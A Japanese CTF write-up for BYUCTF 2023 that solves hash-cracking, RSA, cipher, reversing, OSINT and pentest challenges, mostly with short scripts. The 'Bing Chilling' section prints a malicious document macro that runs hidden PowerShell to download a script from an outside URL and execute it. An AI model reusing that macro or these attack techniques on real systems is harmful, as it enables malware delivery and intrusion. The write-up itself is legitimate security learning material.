BYUCTF 2023 Writeup

この大会は2023/5/20 2:00(JST)~2023/5/21 14:00(JST)に開催されました。
今回もチームで参戦。結果は10291点で581チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#rulesチャネルでルールにリアクションすると、たくさんのチャネルが現れた。#generalチャネルのトピックを見ると、フラグが書いてあった。

byuctf{yes_this_is_sanity_check_flag_race_for_who_gets_1st_blood}

006 I (Misc)

問題は以下のハッシュ。

fb77dc5534f88d45fa2985d92a68c60c

CrackStationでクラックすると、パスワードがわかる。

brittishhottie
byuctf{brittishhottie}

006 II (Misc)

問題は以下のハッシュ。

cdd0525ea8565802b35dc5d71757a6497953050d

CrackStationでクラックすると、パスワードがわかる。

Arkhangelsk
byuctf{Arkhangelsk}

006 III (Misc)

問題は以下の4つのハッシュ。

6328C530F895CA13C75E161DEC260EC2C0BED4FCFF1B34448EA16A7FFFFA5CDC403E5CC83B23321E9AD3280952BE2ADB037DD7AFA3084B7E940C6A655B2F13BA
3FAE7E18F9004673D0E68CA10264A1ABAF76FBF42E60D960A1B95289401146E4BF39E599641C730DB8F664F7F1DD02F171BEB4730AC756AAC7CF40C6BC4D623A
5C6E3A016FC76F6EC3E062F266977A2C32FD875F0911323256B50A7AA6E24A8C0AD4E6225CA07A73BA1487A83AD7F058CE77345969F1FC04FD6168C15A39EB00
A7383D14CF904E91C0F0226CC926CC6CA7CF91F1907025AE961627B444C412247823DA87C3AF69D8A490538554F6E59E972D4EE861726A7B2B3D808CD5096A5B

CrackStationでクラックする。

6328C530F895CA13C75E161DEC260EC2C0BED4FCFF1B34448EA16A7FFFFA5CDC
403E5CC83B23321E9AD3280952BE2ADB037DD7AFA3084B7E940C6A655B2F13BA	sha512	goldeneye007
3FAE7E18F9004673D0E68CA10264A1ABAF76FBF42E60D960A1B95289401146E4
BF39E599641C730DB8F664F7F1DD02F171BEB4730AC756AAC7CF40C6BC4D623A	sha512	goldeneye641
5C6E3A016FC76F6EC3E062F266977A2C32FD875F0911323256B50A7AA6E24A8C
0AD4E6225CA07A73BA1487A83AD7F058CE77345969F1FC04FD6168C15A39EB00	Unknown	Not found.
A7383D14CF904E91C0F0226CC926CC6CA7CF91F1907025AE961627B444C41224
7823DA87C3AF69D8A490538554F6E59E972D4EE861726A7B2B3D808CD5096A5B	Unknown	Not found.

3つ目と4つ目が見つからなかったが、1つ目と2つ目と同様に"goldeneyeNNN"という形式と推測できるので、ブルートフォースで探す。

#!/usr/bin/env python3
import hashlib

hashes = [
    '6328C530F895CA13C75E161DEC260EC2C0BED4FCFF1B34448EA16A7FFFFA5CDC403E5CC83B23321E9AD3280952BE2ADB037DD7AFA3084B7E940C6A655B2F13BA',
    '3FAE7E18F9004673D0E68CA10264A1ABAF76FBF42E60D960A1B95289401146E4BF39E599641C730DB8F664F7F1DD02F171BEB4730AC756AAC7CF40C6BC4D623A',
    '5C6E3A016FC76F6EC3E062F266977A2C32FD875F0911323256B50A7AA6E24A8C0AD4E6225CA07A73BA1487A83AD7F058CE77345969F1FC04FD6168C15A39EB00',
    'A7383D14CF904E91C0F0226CC926CC6CA7CF91F1907025AE961627B444C412247823DA87C3AF69D8A490538554F6E59E972D4EE861726A7B2B3D808CD5096A5B'
]

passwords = [''] * 4
for i in range(1000):
    password = 'goldeneye%03d' % i
    h = hashlib.sha512(password.encode()).hexdigest()
    for j in range(len(hashes)):
        if h == hashes[j].lower():
            passwords[j] = password
            break

flag = '_'.join(passwords)
flag = 'byuctf{%s}' % flag
print(flag)
byuctf{goldeneye007_goldeneye641_goldeneye069_goldeneye159}

xkcd 2637 (Misc)

$ nc byuctf.xyz 40014
Get 500 problems correct to get the flag!
10110 + 1011 = 

xkcd 2637を調べると、Roman Numeralsが出てくる。

https://www.explainxkcd.com/wiki/index.php/2637:_Roman_Numerals

このRoman Numeralsの計算をする必要がある。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def roman_to_int(s):
    d = 0
    index = 0
    while index < len(s):
        if s[index:index+4] == '10100':
            d += 90
            index += 5
        elif s[index:index+4] == '1050':
            d += 40
            index += 4
        elif s[index:index+3] == '110':
            d += 9
            index += 3
        elif s[index:index+2] == '10':
            d += 10
            index += 2
        elif s[index:index+2] == '50':
            d += 50
            index += 2
        elif s[index:index+2] == '15':
            d += 4
            index += 2
        elif s[index:index+1] == '1':
            d += 1
            index += 1
        elif s[index:index+1] == '5':
            d += 5
            index += 1
    return d

def int_to_roman(n):
    d = ''
    s = str(n)
    l = len(s)
    for i in range(l):
        if int(s[i]) < 4:
            d += ('1' + '0' * (l - i - 1)) * int(s[i])
        elif int(s[i]) == 4:
            d += '1' + '0' * (l - i - 1) + '5' + '0' * (l - i - 1)
        elif int(s[i]) < 9:
            d += '5' + '0' * (l - i - 1)
            d += ('1' + '0' * (l - i - 1)) * (int(s[i]) - 5)
        else:
            d += '1' + '0' * (l - i - 1)
            d += '1' + '0' * (l - i)
    return d

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('byuctf.xyz', 40014))

data = recvuntil(s, b'\n').rstrip()
print(data)

for i in range(500):
    print('Round %d' % (i + 1))
    data = recvuntil(s, b'= ')
    print(data, end= '')
    formula = data.split(' =')[0]
    v1 = formula.split(' ')[0]
    op = formula.split(' ')[1]
    v2 = formula.split(' ')[2]
    v1 = roman_to_int(v1)
    v2 = roman_to_int(v2)
    ans = eval(str(v1) + op + str(v2))
    ans = int_to_roman(ans)
    print(ans)
    s.sendall(ans.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

    :
Round 491
10101011 + 15 = 10101051
Round 492
1010105 + 1015 = 1050110
Round 493
1010111 + 10 = 101010111
Round 494
10110 + 10105 = 105015
Round 495
105111 * 1010111 = 1005001015
Round 496
101051 * 101051 = 50010050101051
Round 497
511 * 110 = 5010111
Round 498
15 * 10101011 = 10010105111
Round 499
1010511 + 10511 = 105015
Round 500
10511 * 1010 = 1001001001050
Flag: byuctf{just_over_here_testing_your_programming_skills_:)}
byuctf{just_over_here_testing_your_programming_skills_:)}

Collision (Misc)

PNGシグネチャと2つの決められた文字列が入っていて、md5が同じデータを送信できればフラグが表示される。PNGシグネチャと2つの決められた文字列が入っているベースのファイルを作成して、目的のファイルを2つ生成する。

$ ./clone-fastcoll/fastcoll base_data
Generating first block: ............................
Generating second block: S00.
use 'md5sum md5_data*' check MD5

あとはこのファイルのデータのbase64エンコードデータを送信して、フラグを得る。

#!/usr/bin/env python3
import socket
import base64

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

with open('md5_data1', 'rb') as f:
    data1 = base64.b64encode(f.read()).decode()

with open('md5_data2', 'rb') as f:
    data2 = base64.b64encode(f.read()).decode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('byuctf.xyz', 40016))

data = recvuntil(s, b': ')
print(data + data1)
s.sendall(data1.encode() + b'\n')

data = recvuntil(s, b': ')
print(data + data2)
s.sendall(data2.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Enter string 1: iVBORw0KGgpLZWVwaW5nIHlvdXIgc29mdHdhcmUgYW5kIHN5c3RlbXMgdXAtdG8tZGF0ZSB3aXRoIHRoZSBsYXRlc3Qgc2VjdXJpdHkgcGF0Y2hlcyBpcyBhIGNydWNpYWwgc3RlcCBpbiBzYWZlZ3VhcmRpbmcgYWdhaW5zdCBwb3RlbnRpYWwgY3liZXIgYXR0YWNrcy5JbXBsZW1lbnRpbmcgc3Ryb25nIHBhc3N3b3JkcywgdHdvLWZhY3RvciBhdXRoZW50aWNhdGlvbiwgYW5kIHJlZ3VsYXIgZW1wbG95ZWUgdHJhaW5pbmcgYXJlIGVzc2VudGlhbCBtZWFzdXJlcyBpbiBtYWludGFpbmluZyBhIHNlY3VyZSBkaWdpdGFsIGVudmlyb25tZW50IGZvciB5b3VyIG9yZ2FuaXphdGlvbi4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHPB+L0oDCsXJE4eDv0vew0tXBeJhiQDJLyJC1bSWN8r105zhAW0+oGsGW/nlz7xX2WdmPPvPnA07X8FR27uoS5K5d672JDMYhakd0bcO4X/Md9H6Gv1AGcEb98RRYV2e9ZLWuhp6c0Fbi9GvLmldZo+Gnb2opasqc+UCSkq07MU=
Enter string 2: iVBORw0KGgpLZWVwaW5nIHlvdXIgc29mdHdhcmUgYW5kIHN5c3RlbXMgdXAtdG8tZGF0ZSB3aXRoIHRoZSBsYXRlc3Qgc2VjdXJpdHkgcGF0Y2hlcyBpcyBhIGNydWNpYWwgc3RlcCBpbiBzYWZlZ3VhcmRpbmcgYWdhaW5zdCBwb3RlbnRpYWwgY3liZXIgYXR0YWNrcy5JbXBsZW1lbnRpbmcgc3Ryb25nIHBhc3N3b3JkcywgdHdvLWZhY3RvciBhdXRoZW50aWNhdGlvbiwgYW5kIHJlZ3VsYXIgZW1wbG95ZWUgdHJhaW5pbmcgYXJlIGVzc2VudGlhbCBtZWFzdXJlcyBpbiBtYWludGFpbmluZyBhIHNlY3VyZSBkaWdpdGFsIGVudmlyb25tZW50IGZvciB5b3VyIG9yZ2FuaXphdGlvbi4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHPB+L0oDCsXJE4eDv0vew0tXBWJhiQDJLyJC1bSWN8r105zhAW0+oGsGW/nlT71X2WdmPPvPnA07X8HR27uoS5K5d672JDMYhakd0bcO4X/Md9F6Gv1AGcEb98RRYV2e9ZLWuhp6c0Fbi9GvLulcZo+Gnb2opasqc+UCykq07MU=
Strings found
byuctf{c0ll1s10n5_4r3_c00l10}
byuctf{c0ll1s10n5_4r3_c00l10}

Legoclones 1 (OSINT)

アカウントlegoclonesのSNSを調べていく。
GithubTwitterでは関係ある内容が見つからなかった。
Redditに関係ありそうな内容が見つかった。

https://www.reddit.com/user/legoclones

そこには以下のように書いてある。

I'm the man who created that list on Clone Trooper Wiki almost a decade ago, ...(snip)...
...(snip)...but I founded the Wiki, worked on it for about 3 years, ...(snip)...

問題文に書かれている10年間の活動と、3年間Clone Trooper Wikiで活動していると言っている。リンクされているClone Trooper Wikiを見てみる。

https://clonetrooper.fandom.com/wiki/User:Legoclones


現在は引退し、Blyndblitzにゆだねられていると書かれている。

byuctf{Blyndblitz}

MI6configuration 1 (Pentesting)

ボリュームを復号するためのパスワードはJames Bondのキャラクター"Q"のファーストネーム(すべて小文字)。"Q"の名前は Major Boothroyd なので、パスワードは "major"。VirtualBoxovaをインポート後、起動する。その際ボリューム復号のパスワードに"major"を指定する。
ホストからnmapでIPアドレスを確認する。

>nmap -sP 192.168.56.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 07:26 東京 (標準時)
Nmap scan report for 192.168.56.100
Host is up (0.00s latency).
MAC Address: 08:00:27:B7:08:CC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up (0.00011s latency).
MAC Address: 08:00:27:25:BC:C6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 4.53 seconds

対象のIPアドレスは192.168.56.103。

>nmap -sC -sV 192.168.56.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 07:29 東京 (標準時)
NSOCK ERROR [0.0540s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 192.168.56.103
Host is up (0.0000010s latency).
Not shown: 729 filtered tcp ports (no-response), 269 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 33       0              22 Apr 17 22:01 flag1.txt
|_-r--r--r--    1 1002     0              29 Apr 17 15:40 not_my_passwords.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c5849242153793582b2cc8f5d9eed24c (RSA)
|   256 bedc4b8fcfd3c50281bab7791f2b9afa (ECDSA)
|_  256 7b1fecd2c294bf1b1984f322005cde02 (ED25519)
MAC Address: 08:00:27:25:BC:C6 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds

anonymous FTPが有効になっていて、flag1.txtがあるので、ダウンロードし確認する。

>ftp 192.168.56.103
192.168.56.103 に接続しました。
220 (vsFTPd 3.0.3)
200 Always in UTF8 mode.
ユーザー (192.168.56.103:(none)): anonymous
331 Please specify the password.
パスワード:
230 Login successful.
ftp> get flag1.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag1.txt (22 bytes).
226 Transfer complete.
ftp: 22 バイトが受信されました 0.00秒 5.50KB/秒。
ftp> quit
221 Goodbye.

>type flag1.txt
byuctf{anonymous_ftp}
byuctf{anonymous_ftp}

Leet 1 (Jail)

数値を使わずにevalが1337になるようにする必要がある。ord関数を使って、ASCIIコードの和で条件を満たすようにする。

>>> ord('z')
122
>>> 1337 // 122
10
>>> 1337 % 122
117
>>> chr(117)
'u'
$ nc byuctf.xyz 40000
> ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('u')
byuctf{simple_bypasses!}
byuctf{simple_bypasses!}

RevEng (Rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined local_178 [112];
  undefined8 local_108;
  undefined2 local_100;
  undefined6 uStack_fe;
  undefined2 uStack_f8;
  undefined8 local_f6;
  undefined local_e8 [112];
  undefined local_78 [112];
  
  get_user_input(local_78);
  decrypt_passphrase(passphrase_encrypted,local_e8,5);
  iVar1 = check_passphrase(local_78,local_e8);
  if (iVar1 == 0) {
    puts("Incorrect passphrase. Please try again.");
  }
  else {
    local_108 = 0x6e806b79687a7e67;
    local_100 = 0x4c64;
    uStack_fe = 0x796a38647935;
    uStack_f8 = 0x6a59;
    local_f6 = 0x823a3c3e36642657;
    decrypt_passphrase(&local_108,local_178,5);
    print_flag(local_178);
  }
  return 0;
}

void decrypt_passphrase(long param_1,long param_2,char param_3)

{
  int local_c;
  
  for (local_c = 0; *(char *)(param_1 + local_c) != '\0'; local_c = local_c + 1) {
    *(char *)(param_2 + local_c) = *(char *)(param_1 + local_c) - param_3;
  }
  *(undefined *)(param_2 + local_c) = 0;
  return;
}

bool check_passphrase(char *param_1,char *param_2)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,param_2);
  return iVar1 == 0;
}

local_108以降をバイト単位で-5すれば、フラグになる。

#!/usr/bin/env python3

enc = (0x6e806b79687a7e67).to_bytes(8, 'little')
enc += (0x4c64).to_bytes(2, 'little')
enc += (0x796a38647935).to_bytes(6, 'little')
enc += (0x6a59).to_bytes(2, 'little')
enc += (0x823a3c3e36642657).to_bytes(8, 'little')

flag = ''
for c in enc:
    flag += chr(c - 5)
print(flag)
byuctf{i_G0t_3etTeR!_1975}

kcpassword (Forensics)

https://github.com/Heisenberk/decode-kcpasswordスクリプトを使って、kcpasswordをデコードする。

$ python3 decode-kcpassword.py kcpassword
byuctf{wow_Macs_really_have_it_encrypted_with_a_static_key_lol}
byuctf{wow_Macs_really_have_it_encrypted_with_a_static_key_lol}

Bing Chilling (Forensics)

odtファイルを解凍・展開する。\Basic\Project\NewMacros.xmlにフラグに関係ありそうな記述がある。

Sub AutoOpen()
    Dim FGHNBVRGHJJGFDSDUUUU As String
    FGHNBVRGHJJGFDSDUUUU = &quot;cmd /K &quot; + &quot;byu&quot; + &quot;ctf&quot; + &quot;{&quot; + &quot;m@ldocs @re&quot; + &quot;sn@eky and bad}&quot; + &quot;e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object      System.Net.WebClient).DownloadFile(&apos;http://bsrc.baidu.com/drill/doc-zh.html&apos;,&apos;%TEMP%\Y.ps1&apos;);      poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile      -file %TEMP%\Y.ps1&quot;
    Shell FGHNBVRGHJJGFDSDUUUU, 0
    MsgBox (&quot;Module could not be found.&quot;)
End Sub

上記のプロシージャのFGHNBVRGHJJGFDSDUUUUの値にフラグが含まれている。

byuctf{m@ldocs @resn@eky and bad}

RSA1 (Crypto)

factordbでnを素因数分解する。

n = 15631612382272805561 * 18413880828441662521

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 287838647563564518717519107521814079281
e = 7
c = 258476617615202392748150555415953446503

p = 15631612382272805561
q = 18413880828441662521
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
byuctf{too_smol}

RSA2 (Crypto)

factordbでnを素因数分解する。

n = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361
  * 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 546014635841741214724882952304387823741798461149589549073179989118942746109940806878269775538274570065946589413677004071487344751464649121103982272835006900203922112014630898761428602513684456008956735791010937229939856259403186940249737579526542460562078728957198932156520780835942292131829398548678970431263462917223085165930683353518778015361505451889259321493813123084031407195410778661720394898118828299025325200597986154170392835072784810370185329392356423340408483449291280713796374297147668615988522804223480631576577707073715128342533703842150980913675658012799681575774731843549389349977365287936534707998476564357339504431638612839358093914282814270477657856345062084136585402704930924062452984009716927826681976269057923158930326380110735873715506666086031427627450725825495228912040943784627278987497908133546573083543604901933763330940965980882566819970423354937076331119777415405707162588442490342746115310986462330781467571631209829523895479737199963129517613642920935109776495829400236613168913129178658637967592913193540283532220304664924612246117951571439486418122093867454452618997458068515332016877486822805232899716524040444751997121936138984564834862354469295078855441829018404782747219665338778379471257704041
e = 65537
c = 497483520135207500611760341868934810216889295862727367409205471739457798733223813938415492642898622071289502771394670201759355356873731071744923938304067196827981196823596976532284031567818944043351160692892539254848854527943095670705184836531463778923699513154523281624336593518751911469590777921172775020125081803529411082078530404614569485860638460689961289946436553586222781503048987585305336865777424252321433817251942278548031598867440246798562662298880488044382840476214732326114298681849826143159014132251265975612736174765852107701466877003101250308950535660691651846052082123375934624356694170453897672257371991315676787548733520567289929667876604682273501711766130944645562650989837328685043543330211830184365436596077862055649246517141787872170320358968622818470064395975654949073402489903952399985907827496667385839890041608685588908200009780210043116940593521695695047783434230143405184690206691002634954008353327872663055826018481013718627348218684688250775372760462829705754318024652361552668830110066219305953343851243676904796434142570868419087560131333056695456062994781034014322792678534785191950145702468201676105282230660132801024614625267740668507168119879074770666830923799616054485447308126877109671082189614

p = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361
q = 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
byuctf{rsa_is_only_secure_when_p_and_q_are_unknown}

RSA3 (Crypto)

n1とn2の最大公約数が1より大きいので、素因数分解できる。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433
e1 = 65537
c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715
n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233
e2 = 65537
c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343

p = GCD(n1, n2)
q = n1 // p

phi = (p - 1) * (q - 1)
d = inverse(e1, phi)
m = pow(c1, d, n1)
flag = long_to_bytes(m).decode()
print(flag)
byuctf{coprime_means_factoring_N_becomes_much_easier}

RSA4 (Crypto)

eの値が3で、3つのn, cの組があるので、Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

n1 = 25204912957894049536633029588071532883154221495361435745558539407530325536509218257991893451902442183954212400671502526830623527340613723328379300388737939211263541814108106183164630301938900862986688763583982133846507136234797325243547177627054271161715200611591594812723672399437505379398941496184886411879923583394041753902383846644013849190900416111230521180435101859101110596828380586449182686175177638441549656137307050392520754146511496313215137339773851458160180450925216541537448515297981124184019831730808991821344392915274230294654187421183676471212265322367890189804699510021526923237231850244056681024361
e1 = 3
c1 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
n2 = 17730912385401458370516374144454354828481353051514329263921774569034415114147424203611660978860008058118764431105602401970281692066419254457694301039461623568501484102567802483628476717695013320444442267232019104240173401975387173805390636521671252624249730700497552226732834062715286458634274525026438931671208367178653031967364951679420066768732647183187381700016195545187024094717207787859217993871236368911145957298126589666514319408022801341248744002320245345234912423717815146532293315342644702101415345900126397475592837306256140915525455824350305349773210334856093169535686115299159772550674315375987529523179
e2 = 3
c2 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
n3 = 23693871552180460990138635073805949225912252125308334418081834697641804631104724668330415198785050388969117484647897131795893896100932121531733121069301557203541651575306855376180158639595396645851251320756224273151350168394783274111111375428683335001923152182758469432988805562827169898721409159172411067426322303967736140645806651181720610635139163613355013365367013643617931710120446074129630384181873406149243284193113399417540744056880787819360491511062694356302764642727497777585348003477373456680752873785829149551421840290660162776229985812994060664107888011786183808824620497078292008444842754064007647832261
e3 = 3
c3 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509

ns = [n1, n2, n3]
cs = [c1, c2, c3]
e = e1
me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)
byuctf{hastad_broadcast_attack_is_why_e_needs_to_be_very_large}

RSA5 (Crypto)

同じnで、同じ平文に対するeとcの組み合わせが2個あるので、Common Modulus Attackで復号する。

#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

def commom_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747
e1 = 65537
c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240
e2 = 65521
c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717

m = commom_modulus_attack(c1, c2, e1, e2, n)
flag = long_to_bytes(m).decode()
print(flag)
byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES}

Compact (Crypto)

画像ファイルが添付されている。

この図から2種のコード5個で生成する暗号と推測できる。
Bacon's cipherと推測して復号する。ただし該当するものがないものがあったので、仮に使われていない"a"に置き換えた。

itleny zbff dno cbydjdnbft srwb ersaqen

quipqiupで調整しながら復号する。結果以下のCluesを指定して復号することができた。

Clues: i=b t=y l=u
byuctf well its definitely more compact
byuctf{well its definitely more compact}

𐐗𐐡𐐆𐐑𐐓𐐄? (Crypto)

画像ファイルが添付されている。

問題タイトルの文字で調べると、Deseret alphabetであることがわかる。https://www.2deseret.com/で以下の文字を変換する。

𐐺𐐨 𐐶𐐴 𐐷𐐭 𐑅𐐨 𐐻𐐨 𐐯𐑁 𐐼𐐯𐑅𐐨𐑉𐐯𐐻 𐑋𐐨𐑌𐐮 𐐸𐐲𐑌𐐮 𐐺

結果以下となる。

be why you see tea f deseret /m/ee/n/ih/ /h/u/n/ih/ /b/

Deseret alphabetは発音を表し、オンラインツールは英語の辞書から該当するものを探すものなので、発音から推測する。

byuctf deseret means honey bee
byuctf{DESERET_MEANS_HONEY_BEE}

Poem (Crypto)

quipqiupで調整しながら、復号する。Cluesには以下を指定して復号できた。

f=y g=u

復号結果は以下の通り。

the flag is byuctf a message so clear a challenge to hackers a line were dere

以下をフラグとして投入したがダメだった。

byuctf{a message so clear a challenge to hackers a line were dere}

最後の方が単語が決め切れていないので、調整する。

byuctf{a message so clear a challenge to hackers a line we revere}

Survey (Misc)

アンケートに答えたら、フラグが表示された。

byuctf{Just_m@k3_s0m3th1ng_up}